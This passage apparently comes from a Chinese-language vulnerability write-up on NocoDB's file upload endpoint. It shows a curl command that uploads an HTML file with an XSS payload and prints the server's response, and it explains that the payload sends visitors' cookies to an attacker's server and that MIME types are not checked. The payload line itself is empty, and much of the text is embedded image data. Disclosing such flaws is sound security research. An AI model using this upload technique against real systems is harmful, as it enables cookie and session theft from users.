Ut/YsTHbQwIT5MjRHC+JP+xZ4pQAAAAAAAAAAAAA4GEPKAs0N6U8AAAAAAAAAAAAAIBwEmwUAAAAAAAAAAABgAkMKAAAAAAAAAAAAABMYUgAAAAAAAAAAAACYwJACAAAAAAAAAAAAwASGFAAAAAAAAAAAAAAmn2htbf2j+QwAAAAAAAAAAAAAQujp6VF/4ZECAAAAAAAAAAAAwASGFAAAAAAAAAAAAAAmMKQAAAAAAAAAAAAAMIEhBQAAAAAAAAAAAIAJDCkAAAAAAAAAAAAATGBIAQAAAAAAAAAAAGACQwoAAAAAAAAAAAAAExhSAAAAAAAAAAAAAJiwDCkXHthNNx7aTVfca35oIlqG/5y2Hdil0n/joV3U88RVdMYmcxJE0sz1bpdBmlpcpsWpQfMdAAAAAAAAAMBqpWE9Ulof+xvqOXg7XfDX5ocUtNy7g3q3f5ba1rc4v9C6i/qp54GrzHfQaNiod/t0UXuBaOnIhPkOAAAAAAAAAGC10qCGlKto47Zzad3alvQJvPnzdOUtF9LpdILe3f8g/WjbHnpm9zQdPUV0+kXX0SVfNdfliOMdc73yjtlN1x+4nbbuPcec5XHmQ3ca7xrn2EXXHthBFwyfZa5oZizUu03GZ2l5eVkcReoUXzuL8vMsjeuzAAAAAAAAAABWHUT/H9w+02jCeNrSAAAAAElFTkSuQmCC) + +,方便后面直接引用。Token 长度一般在 430 字节左右,视 payload 大小略有变化。 + + +### 3.2 上传HTML——XSS 攻击向量 + + +先创建一个简单的 HTML 文件,包含 XSS payload——当浏览器打开这个文件时,会自动向攻击者的服务器发送当前页面的 Cookie: + + +``` +$ echo '' > xss.html +$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \ + -H "xc-auth: $TOKEN" \ + -F "file=@xss.html" +``` + +返回: + + +``` +[{ + "path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html", + "title": "xss.html", + "mimetype": "text/html", + "size": 62, + "signedPath": "dltemp/XVG6KgagqfRMcBjb/1785143400000/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html" +}] +``` + +留意 mimetype: text/html——NocoDB 正确识别了 HTML 类型并允许上传。在大多数文件上传场景中,上传接口至少应该检查 MIME 类型是否属于"允许上传的类型列表"(images, documents 等)。NocoDB 没有做这个检查。 + +响应结构里包含三个关键路径 + + +![](data:image/png;base64,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